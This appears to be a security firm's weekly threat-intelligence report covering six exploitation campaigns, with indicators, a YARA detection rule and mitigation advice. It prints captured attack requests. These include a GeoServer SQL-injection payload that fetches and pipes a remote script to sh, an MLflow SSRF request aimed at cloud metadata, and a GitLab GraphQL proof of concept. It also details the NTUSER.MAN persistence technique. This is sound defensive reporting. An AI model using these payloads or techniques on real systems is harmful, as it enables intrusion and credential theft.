Weekly Situation Report — 8/24/26

China-nexus threat actors are compromising VMware environments, with activity overlapping with emerging exploitation of Microsoft SharePoint vulnerabilities.
A newly disclosed GeoServer zero-day is being actively exploited in attacks against vulnerable systems.
TWINLOOT uses TURN relay infrastructure and mandatory user profiles to maintain persistence on compromised systems.
Attackers are exploiting an MLflow vulnerability to steal cloud credentials from affected environments.
A critical remote code execution vulnerability in the Windows IKE extension is being actively exploited in the wild.
A GitLab vulnerability is being exploited to modify or delete repositories without proper authorization.

1. Likely China-nexus actors compromising VMware and overlap with emerging SharePoint exploitation

Summary

A critical vulnerability in VMware vCenter Syslog Server (CVE-2026-59310) is being exploited to deploy reverse SSH tools for persistent remote access. Initial signals and spikes in traffic against VMware hosts may have preceded attacks. We have also found overlap with emerging exploitation of SharePoint CVE-2025-55040.

Category: Threat Actor Activities

Industry: Multiple

Sources

Analyst comments

A recently patched critical vulnerability (CVE-2026-59310) in VMware vCenter’s Syslog Server is being actively exploited by attackers to deploy an open-source reverse_ssh tool for persistent remote access and outbound command-and-control operations. Discovered by researchers starting August 3, the campaign has compromised 361 IP addresses across 47 countries, with a heavy concentration in Germany, the U.S., Turkey, Iran, and France. It is suspected that the threat actors may also be taking advantage of CVE-2026-59309, an authorization bypass in vmdir, during initial access and probing activities alongside exploitation of CVE-2026-59310. Emerging data also suggests that the same or related actors are taking advantage of SharePoint vulnerability CVE-2026-55040, based on network IoC reuse. The threat actor is suspected to be Chinese in origin, based on script comments written in Mandarin. The threat actor will also deploy Babuk ransomware at the end of the infection chain. However, we agree with the original researchers’ assessment that the motivation is espionage related. The threat actor’s playbook does not follow common ransomware tactics, and the encryption was used primarily to destroy forensic artifacts that would have revealed additional details of the campaign.

The threat actor is using the two vulnerabilities CVE-2026-59310 and CVE-2026-59309 for initial access. Neither has verifiable PoC code available, and further data was not shared in the original reporting. From public honeypots and our internal honeypot instance, we were able to capture potential traffic from exploitation attempts or probing. This was primarily probing for vCenter versions, scanning /sdk for version fingerprinting, and scanning /websso, which is consistent with exploitation of CVE-2026-59309. The traffic was captured between August 3rd and 13th. This coincides with the timing of the researchers reporting, and with external reporting on social media of organizations seeing spikes in traffic to vCenter honeypots. The captured network IPs are noted below, with legitimate scanners removed:

# Scanner traffic captured in internal OSec honeypots August 3rd - August 13th
121.199.172[.]2 China AS37963 Hangzhou Alibaba Advertising Co.,Ltd. Aliyun Computing Co., LTD -
47.97.96[.]186 China AS37963 Hangzhou Alibaba Advertising Co.,Ltd. Aliyun Computing Co., LTD -
97.107.131[.]17 United States AS63949 Akamai Connected Cloud Linode 97-107-131-17.ip.linodeusercontent.com
45.79.152[.]14 United States AS63949 Akamai Connected Cloud Linode 45-79-152-14.ip.linodeusercontent.com
121.43.152[.]154 China AS37963 Hangzhou Alibaba Advertising Co.,Ltd. Alibaba.com LLC -
47.92.213[.]152 China AS37963 Hangzhou Alibaba Advertising Co.,Ltd. Aliyun Computing Co., LTD -
121.43.118[.]50 China AS37963 Hangzhou Alibaba Advertising Co.,Ltd. Alibaba.com LLC -
91.92.43[.]130 Germany AS207043 DEDIK SERVICES LIMITED Dedik Services Limited -
3.146.39[.]42 United States AS16509 Amazon.com, Inc. AWS EC2 (us-east-2) ec2-3-146-39-42.us-east-2.compute.amazonaws.com
35.192.184[.]31 United States AS396982 Google LLC Google Cloud (us-central1) 31.184.192.35.bc.googleusercontent.com

Based on the external reporting regarding vCenter exploitation, one of the primary scanning hosts was noted as 146.59.252[.]178. We found honeypot data showing this host also scanning for SharePoint hosts. The user agent varied, which indicates user agent rotation between scanning activity. This host was likely scanning for CVE-2026-55040, for which a public PoC is available. The captured traffic ran from August 11th to August 14th and can be seen below:

# August 11th - 14th Data from 146.59.252.178
/_trust/default.aspx - User-Agent: Sharepoint-POC/1.0
/_layouts/15/metadata/json/1 - User-Agent: Mozilla/5.0

# Network IoCs
146.59.252[.]178 France AS16276 OVH SAS OVH ns3183647.ip-146-59-252.eu - Primarily a scanning host - Last seen August 14th
185.144.28[.]120 Poland AS44493 Chelyabinsk-Signal LLC Pdkllc stellarwavetechnologies.io
192.255.141[.]13 United States AS36352 HostPapa HostPapa 192-255-141-13-host.colocrossing.com
5.34.176[.]100 Singapore AS204957 GREEN FLOID LLC Green Floid LLC asxdjaklfjksdg.com
146.56.116[.]119 South Korea AS31898 Oracle Corporation Oracle Cloud Infrastructure (ap-chuncheon-1) -
profound-beijinho-504b1f.netlify.app United States AS14618 Amazon.com, Inc. AWS EC2 (us-east-1) -
intel.se9ly9upbhay.shop Canada AS13335 Cloudflare, Inc. Cloudflare, Inc. -

The host serving the reverse_ssh binaries was still online at the time of research (8/17), indicating this campaign is likely ongoing. However there are some indications that some of the infrastructure has rotated at this time.

# Payload IoCs (reverse_ssh binaries)
efa9d8bc7356415966c2047c43e71921301ce75b v2_amd64
6a6318f3924dfb4095fb59142d0113f3c3e9ab51 v2_386
da39a3ee5e6b4b0d3255bfef95601890afd80709 v2_arm
ddfac9a08081e07b9e4f93fb9ad71a751ee96de1 v2_arm64
09b636e886e297723bdcc11fc97c3e635a3832f4 esxi_amd64
70b392f5f34faddc6be7a991e6f91a49f74ed424 esxi_arm64
073723eff5b69708e2d704abb94d3cf7f12ee3d2 esxi_arm
a9be4aa4e11d3e788b448d231b505706b4302fa6 esxi_386
e876ceb47ba092420a97724a957152b3808568b0 backup
c58c37fbd4a1978ce96bf141b278346f03403980 linuxFile

# Dropped script names and their uses
x.py - used to extract credential information through LDAP
run.sh - Run script for Ransomware activation based on Babuk
vmware-perf-upd.sh - Credential extractor
esxi.sh - Downloader for reverse_ssh binaries and loads persistence items

# CronJob IoCs if compromise is suspected
vmware-vpxd-stats-*
vmware-perf-collect-*
vmware-perf-sync-*

Actionable guidance

The threat actor uses known vulnerabilities for initial compromise. Applying the necessary patching for both vCenter and vulnerable SharePoint services is therefore necessary to prevent exploitation, and will immediately disrupt and prevent initial infection. For vCenter, if compromise is suspected, look for unknown cron jobs, which will be named similarly to vmware-vpxd-* or vmware-perf-*. Also look for unknown systemd services with generic naming such as “System Service” that point to an unknown file, likely in /root/.local. As CVE-2026-59310 is a path traversal vulnerability, identifying instances of ../../../ notation in logs is a high signal of potential abuse. Data from the GitHub repository indicates that the exploit is triggered by navigating to the /configurev2 endpoint.

2. GeoServer 0-day being leveraged in the wild

Summary

GeoServer is vulnerable to an unpatched zero-day SQL injection flaw that could lead to remote code execution, with attackers already probing exposed systems. Organizations should act immediately to restrict access and monitor for exploitation.

Category: Zero-day

Industry: Public Sector and Government Administration, Logistics and Shipping, Construction, Education, Food and Agriculture

Sources

Analyst comments

An unpatched zero-day vulnerability in GeoServer allows for SQL injection and potentially remote code execution. The flaw was disclosed on August 12, 2026, and attackers have already begun probing exposed systems. The issue lies within the jsonArrayContains functionality and can lead to RCE under certain configurations involving privileged database accounts.

GeoServer has a long history of being exploited in the wild, both for initial access and for espionage-related purposes. Targeting has fallen particularly on the government and education sectors, followed by logistics, manufacturing, and food and agriculture. GeoServer vulnerabilities have appeared three times in CISA’s KEV catalog and will likely be exploited in the short term. We have already detected emerging scanning for GeoServer instances and first signs of attempted exploitation on our internal honeypots, in addition to open-source honeypots. A public PoC is readily available and has been shared over social media and GitHub gist. Below is an example of exploitation from one of our honeypot sensors:

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub%3Aexample&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%27%27%29%20%3B%20COPY%20%28SELECT%201%29%20TO%20PROGRAM%20%27%27wget%20-qO-%20http%3A%2F%2F<ip_redacted>%2Frondo.rxx.sh%7Csh%27%27%20--%20%27%29%20%3D%20true HTTP/1.1

Our analysis of the location referenced, and of the .sh and .mp4 files on the server, did not find any positive identification of malware. Navigating to the location loads a web page that randomly loads an .mp4 file; clicking download simply fullscreens the page. Downloading the offending file using the wget command retrieves a file, but its contents are those of the HTML page. It is possible this is an evasive technique against non-targets. With current data, it is likely that this threat actor is a hacktivist or lone actor engaging in defacement activities against vulnerable GeoServer instances. Further analysis will be conducted if more data is obtained.

# IoCs
176.65.132[.]131 The Netherlands AS197170 TechTies Inc. TechTies Inc -
194.26.192[.]87 The Netherlands AS210558 1337 Services GmbH 1337 Services GmbH 194.26.192.87 - serving rondo.rxx.sh (fake .sh file)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0

Actionable guidance

There is currently no patch available that addresses this vulnerability. Defenders should therefore block or restrict traffic to the offending endpoint, which in this case is /geoserver/ows. Requests from unknown servers with SQL-like language embedded, such as “SELECT”, or containing the string “vulhub:example”, are a high signal of abuse using the currently available PoC. GeoServer implementations in government and education environments are the most likely to be at risk, followed by manufacturing, logistics, and food and agriculture.

3. TWINLOOT uses TURN relays and mandatory user profiles for persistence

Summary

TWINLOOT is a sophisticated Python implant that masquerades as legitimate Microsoft 365 activity. It uses SharePoint for command execution, Edge for browser automation, and Teams TURN relays for interactive access, and employs a fake lock screen to steal credentials. All of these abuse trusted functions after the user is compromised through social engineering in Microsoft Teams.

Category: Threat Actor Activities

Industry: Multiple

Sources

Analyst comments

TWINLOOT is a sophisticated Python implant designed to masquerade as legitimate Microsoft 365 activity. It uses SharePoint Online tasking, Microsoft Edge browser automation, and Microsoft Teams relay infrastructure to evade detection while stealing credentials and establishing internal network access. The malware typically arrives through Teams vishing, by convincing users to run a PowerShell command that downloads an archive containing the components needed for execution, including a Python runtime, loader, and encrypted package. It employs a unique method of launching headless Microsoft Edge instances via Python to perform Graph API requests, making its activity appear as typical user behavior. TWINLOOT also uses Teams relay infrastructure for interactive access and lateral movement. It presents a significant operational risk through the creation of fake lock screens designed to capture user credentials without leaving traces in usual log files.

The techniques used for communication and persistence are interesting and rarely seen. We have seen malware samples over the last 30 days with TURN or TURNT related signatures, some of which tie back to Dragonforce ransomware. Based on past reporting, the ransomware groups known to be using TURN relay servers include Chaos and Dragonforce. It is highly likely, per the reporting, that this malware belongs to one of those groups. Both groups are also known to congregate on ReHub, a Russian/English dark web forum, alongside other ransomware groups such as the Gentlemen, which might encourage shared techniques and discussion. TURN relays communicate with legitimate services over common web ports and UDP, so most detection relies on behavioral signals. Those signals are likely to add investigative burden for defenders and should not be relied on as definitive evidence of an attack. This is in addition to the threat actor using legitimate Azure resources such as SharePoint to serve malicious files and data. When researching samples of this threat actor, we found a binary posted to VirusTotal a month ago that fires on generic TURNt tool detection rules. Details of that binary show references to a Go compiler, which further indicates alignment to Chaos ransomware clusters, in this case STAC4749. The sample also uses worldaz-msit.relay.teams.microsoft.com as its primary relay server, the same server used by this threat actor.

Abuse of NTUSER.MAN as a persistence mechanism is novel among threat actors. NTUSER.MAN is a mandatory profile file that takes precedence over NTUSER.DAT when the user next logs in. Once the file is created, administrator access is required to delete it. This threat actor takes advantage of that by creating the file in the user’s folders. After a reboot or re-login, the NTUSER.MAN file is used and re-triggers the malware on a victim system. If NTUSER.MAN already exists, the threat actor falls back on several persistence mechanisms, such as Run keys, Typelib COM scriptlets, and Task Cache abuse for running hidden scheduled tasks. Examples are shown below:

# Run Keys
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run | RunOnce

# Typelib COM Scriptlets
HKCU\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win32 | win64

# Task Cache abuse "Ghost Tasks"
HKLM\Schedule\TaskCache\{Tree,Tasks,Plain}

To create an NTUSER.MAN file in user space with this technique, the malware creates an empty hive with the API call RegLoadAppKeyW, then loads offreg.dll and calls ORCreateKey to write the file to %USERPROFILE%\NTUSER.MAN. We have not seen wide adoption of this technique among other threat actors currently. The presence of NTUSER.MAN in the user profiles folder, when mandatory profiles are not applied within the organization, is a high signal of potential abuse using this technique.

# Hashes
Stage-0 loader (bootstrap-fat.pyc)
2f1aa13fbdd8f5cdfe0838ecd4801a5881239ea096dd80f0af6ad1990c11418e
Embedded vendor ZIP
dc12b303b6374e0e1e1b2583d5e60e7d1e6e5207e6254627c7069b3049198f82
pyarmor_runtime.pyd
0ca8367e52c0c64bd75b994a4dfe4b29a1d2eb1307932c91b50576b1e19d6fd9
.pyarmor.ikey
16189a81eb537350cb5a3fff6cfa0b18444dbba6cdbe19e555c523b3a9fba191

# Additional sample using the worldaz-msit.relay.teams.microsoft.com TURN server
1fc3003fde1e7882431b413a3782e178e785b6a59aac38ed8d9a7ee1716db1fb - seen 30 days ago

# Malicious Azure details
sharepointx.th2ch[.]com   # Primary C2 (:443, WS /user-authentication)
lpi-web[.]com   # Failover edge / Domain squatted
193.24.211[.]221   # Failover edge (SNI sharepointx.th2ch.com)
kerteransens.sharepoint[.]com   # SharePoint C2 site (/sites/sanatrra)
034e10fbc291f2ce.blob.core.windows[.]net   # Config dead-drop (/034e10fbc291f2ce/cfg.json)

# Dropped files
Deploy directories
C:\ProgramData\PackageCache\
C:\ProgramData\CloudSync\
C:\ProgramData\Python\
C:\ProgramData\p\

Persistence files
C:\ProgramData\PackageCache\Config.sct
%USERPROFILE%\NTUSER.MAN

Credential phisher artifacts
%TEMP%\launcher_w10lss_cache
%TEMP%\launcher_tk_*

# TURN relays (from non-Teams processes)
worldaz-msit.relay.teams.microsoft[.]com:443

# User-Agents
LAUNCHER-cfg/1.0
LAUNCHER-reobf/1.0
LAUNCHER-bc-cfg/1.0
LAUNCHER-tk-runtime/1.0

# TLS
ALPN: launcher/1

Actionable guidance

Mitigating STUN/TURN server abuse should focus on behavioral patterns to known STUN/TURN relay servers. Normal behavior will look like bursts of data versus malicious data which would likely have a sustained session. However, it is recommended to look for other telemetry to confirm malicious activity and not solely rely on network behavior, such as identifying the processes communicating with STUN/TURN relays. The organization should keep a whitelist of processes and services that communicate legitimately with STUN/TURN servers. Blocking services and processes that deviate from this list as a preventative action to mitigate this form of attack. Threat hunters should look for long, session-like connections to UDP or TCP WebRTC STUN/TURN endpoints as potential malicious communication traffic. Relay traffic originating from an unknown binary is also a high signal of potential compromise. Microsoft Teams relays and Twilio relays have both been seen abused in the wild. We have compiled a list of potential STUN/TURN relay servers below to support detection. Note that these are legitimate vendor services, so their presence alone is not malicious; hunt for them in combination with an unexpected parent process.

*.relay.teams.microsoft.com
worldaz-msit.relay.teams.microsoft.com
*.cloud.zoom.us
turnsg01.cloud.zoom.us
turnsg02.cloud.zoom.us
global.turn.twilio.com
global.stun.twilio.com
stun.l.google.com
stun1.l.google.com
stun2.l.google.com
stun3.l.google.com
stun4.l.google.com
stun1.eo1.engage.ringcentral.com
stun2.eo1.engage.ringcentral.com
stun3.eo1.engage.ringcentral.com
turn.cloudflare.com
stun.cloudflare.com

NTUSER.MAN persistence items should also be hunted for. Look for ORCreateKey calls and/or process loading of offreg.dll (Sysmon event 7) followed by file creation (Sysmon event 11) of NTUSER.MAN in the %USERPROFILE% folder. Other detections for this threat actor should look for “pyarmor” in filenames or within the dropped files, as pyarmor is unlikely to be used for legitimate purposes in most cases. Additionally, restricting Azure tenants and SharePoint domains outside the organization may be necessary in order to reduce malicious file serving or communications using legitimate resources.

rule TURN_Relay_Communication_Indicators_August26
{
meta:
    description = "Detects strings associated with TURN/STUN relay infrastructure and TURNt"
    author = "OSec"
    reference = "Microsoft Teams, Zoom, Twilio, Google, RingCentral, Cloudflare TURN/STUN infrastructure and Praetorian TURNt"
    rule_status = "experimental"
strings:
    // Microsoft Teams
    $teams1 = ".relay.teams.microsoft.com" ascii wide nocase
    $teams2 = "worldaz-msit.relay.teams.microsoft.com" ascii wide nocase
    // Zoom
    $zoom1 = ".cloud.zoom.us" ascii wide nocase
    $zoom2 = "turnsg01.cloud.zoom.us" ascii wide nocase
    $zoom3 = "turnsg02.cloud.zoom.us" ascii wide nocase
    // Twilio
    $twilio1 = "global.turn.twilio.com" ascii wide nocase
    $twilio2 = "global.stun.twilio.com" ascii wide nocase
    // Google
    $google1 = "stun.l.google.com" ascii wide nocase
    $google2 = "stun1.l.google.com" ascii wide nocase
    $google3 = "stun2.l.google.com" ascii wide nocase
    $google4 = "stun3.l.google.com" ascii wide nocase
    $google5 = "stun4.l.google.com" ascii wide nocase
    // RingCentral
    $ringcentral1 = "stun1.eo1.engage.ringcentral.com" ascii wide nocase
    $ringcentral2 = "stun2.eo1.engage.ringcentral.com" ascii wide nocase
    $ringcentral3 = "stun3.eo1.engage.ringcentral.com" ascii wide nocase
    // Cloudflare
    $cloudflare1 = "turn.cloudflare.com" ascii wide nocase
    $cloudflare2 = "stun.cloudflare.com" ascii wide nocase
    // Praetorian TURNt
    $turnt1 = "github.com/praetorian-inc/turnt" ascii wide nocase
    $turnt2 = "turnt-admin" ascii wide nocase
    $turnt3 = "turntwebrtc" ascii wide nocase
    $turnt4 = "turnt-control" ascii wide nocase
    $webrtc_pion = "github.com/pion/webrtc/v3" ascii wide nocase
    // Generic TURN/STUN indicators
    $generic1 = "turn/udp" ascii wide nocase
    $generic2 = "turn/tcp" ascii wide nocase
    $generic3 = "turn/tls" ascii wide nocase
condition:
    // Strong vendor-specific indicators
    1 of ($teams*, $zoom*, $twilio*, $google*, $ringcentral*, $cloudflare*, $turnt*, $webrtc_*)
    or
    // Generic TURN/STUN indicators require multiple matches
    2 of ($generic*)
}

4. MLflow vulnerability exploited for cloud credential theft

Summary

Threat actors are exploiting an unauthenticated server-side request forgery (SSRF) vulnerability in MLflow, tracked as CVE-2026-64849, to reach cloud metadata services and steal credentials from cloud-hosted instances.

Category: Known Exploited Vulnerabilities

Industry: Technology

Sources

Analyst comments

A recent vulnerability (CVE-2026-64849) in MLflow, an open-source AI engineering platform with significant usage and download metrics, has been exploited by threat actors to steal sensitive data such as credentials. This unauthenticated server-side request forgery (SSRF) issue allows attackers to send HTTP requests to internal endpoints, such as cloud metadata endpoints. It stems from the lack of authentication on the default MLflow Tracking Server’s model-registry webhooks API. The vulnerability was first exploited hours after its CVE assignment, targeting cloud-hosted instances where attackers could reach cloud metadata services and exfiltrate secrets.

The largest concentration of publicly available MLflow instances are in China and the US, with the US showing over 25,000 hosts over the last year according to FOFA data. MLflow is also used by major AI platforms such as Databricks within their operations. We were able to identify potential abuse of this vulnerability within public honeypot data:

# POST request using open-source httpbin.org for testing HTTP requests & responses
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
Content-Length: 176

{"url": "https://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/", "name": "poc_74t5tyqh", "events": [{"action": "CREATED", "entity": "REGISTERED_MODEL"}]}

Actionable guidance

Patches should be applied, or the MLflow instance migrated to the latest version available. As attackers primarily take advantage of cloud targets, disabling or heavily restricting access to metadata endpoints will help prevent impact of this attack. For example, AWS metadata endpoints can be mitigated by using IMDSv2 over IMDSv1. If compromise is suspected, log files should be examined for requests from unknown IPs to the /api/2.0/mlflow/webhooks endpoint, and for request contents containing the metadata IP 169.254.169.254.

5. Critical RCE flaw in Windows IKE extension actively exploited

Summary

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has warned of an actively exploited critical remote code execution flaw (CVE-2026-33824) in Windows IKE Service Extensions, affecting all supported versions of Windows. Attackers can execute code via malicious packets sent through specific UDP ports. CISA has directed urgent action by federal agencies and issued recommendations for broader security measures.

Category: Known Exploited Vulnerabilities

Industry: Multiple

Sources

Analyst comments

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued a warning about an actively exploited critical-severity remote code execution (RCE) flaw, CVE-2026-33824, in the Windows Internet Key Exchange (IKE) Service Extensions component. It affects all supported versions of Windows 10, Windows 11, and Windows Server. This vulnerability, known as MS-IKEE, affects additional capabilities Microsoft added to the IKE protocol for features such as CGA authentication and denial-of-service protection. Attackers can exploit this flaw by sending maliciously crafted packets through UDP ports 500 or 4500 without needing any privileges, enabling remote code execution over a network.

There are a number of claimed PoCs available on GitHub. Having examined and analyzed the code of those samples, we assess it is highly likely that what is publicly available is fake. This indicates limited exploitation from a narrow scope of potential threat actors. The flaw itself is remotely exploitable and will likely result in immediate compromise of the vulnerable host as the SYSTEM user. This flaw was patched in April 2026. However, there is enough public research available since its disclosure that is plausible for a threat actor to construct a weaponized PoC. That research includes decompiled code snippets from the vulnerable implementation of IKEEXT.DLL (10.0.20348.2849). The greatest impact will likely fall on Windows Server versions with Routing and Remote Access Service (RRAS) roles installed, although most versions of Windows run an IKEv2 service as a client by default. The following IKEv2 packet bytes indicate potential malicious behavior:

# IKE_SA_INIT packet, look for the following bytes after offset 17, for the Microsoft Security Realm Vendor ID:
68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8

# IKE_AUTH packet, inspect offset 20 for the following byte sequence that would indicate malicious activity
00 00 00 01

If a weaponized PoC is released publicly, this will likely result in immediate integration into attack campaigns and increased exploitation abusing this vulnerability against internet-exposed vulnerable hosts.

Actionable guidance

The Microsoft April patch addresses this vulnerability. It should be applied to servers with RRAS roles installed as a priority, if it has not been already. Alternatively, if a patch cannot be applied immediately, block access on UDP ports 500 and 4500. If the ports are still necessary, then access should be restricted by peers to prevent unauthorized traffic before a patch can be applied.

6. GitLab flaw exploited in the wild can modify and delete repositories

Summary

A critical GitLab vulnerability (CVE-2026-19478) was quickly exploited by threat actors after its public disclosure. We have found several potential PoCs on GitHub repos and have seen limited scanner traffic probing for this vulnerability.

Category: Known Exploited Vulnerabilities

Industry: Multiple

Sources

Analyst comments

A critical-severity vulnerability (CVE-2026-19478) in GitLab was exploited by threat actors two days after its public disclosure. It allows unauthenticated users to remotely modify or delete public projects and user data via a GraphQL directive. The flaw carries a CVSS score of 9.4 and was patched in versions 19.2.4, 19.1.6, 19.0.8, and 18.11.11 of GitLab CE and EE on August 17. Researchers reporting on LinkedIn noted the ease of reproducing the flaw and urged immediate updates, restricting unauthenticated access to the /api/graphql endpoint, or removing public repository access entirely. There have also been numerous reports of exploit attempts by multiple sources.

The highest concentrations of internet exposed GitLab instances were observed in the United States, Germany, and China, with both Shodan.io and FOFA showing consistent results. While it has been stated that no PoC is available, we were able to find several that range from non-destructive to full exploitation of this vulnerability. Exploitation is therefore likely to increase as this PoC code spreads. Our analysis of the code of these PoCs and detection scripts shows that it aligns with the threat hunting recommendations noted in the sources. This likely indicates these PoCs will successfully trigger the vulnerability. An example non-destructive request can be seen below:

POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"}

Note: All attempted exploitations will use @gl_introduced, so hunting for this string should identify evidence of exploit attempts.

From the honeypot data that we have observed, common scanners are looking for public GitLab repositories and instances, but have not seen wide exploitation to date. This indicates limited exploitation attempts currently. However, with further proliferation of PoC code, exploitation is likely to increase in the coming days.

Actionable guidance

Updated versions and patches are available for on-prem deployments of GitLab. Cloud versions are likely to have the most recent patching applied already. If a patch cannot be applied immediately, block or restrict access to the GraphQL endpoint (api/graphql) from the public internet. Alternatively, place the hosted GitLab instance behind a firewall within the internal network. Threat hunters can search for the string “@gl_introduced” if they suspect compromise.

# Fixed versions include the following
19.2.4
19.1.6
19.0.8
18.11.11

Weekly Situation Report — 8/24/26

1. Likely China-nexus actors compromising VMware and overlap with emerging SharePoint exploitation

2. GeoServer 0-day being leveraged in the wild

3. TWINLOOT uses TURN relays and mandatory user profiles for persistence

4. MLflow vulnerability exploited for cloud credential theft

5. Critical RCE flaw in Windows IKE extension actively exploited

6. GitLab flaw exploited in the wild can modify and delete repositories

Want this turned into action, not just awareness? Talk to the team.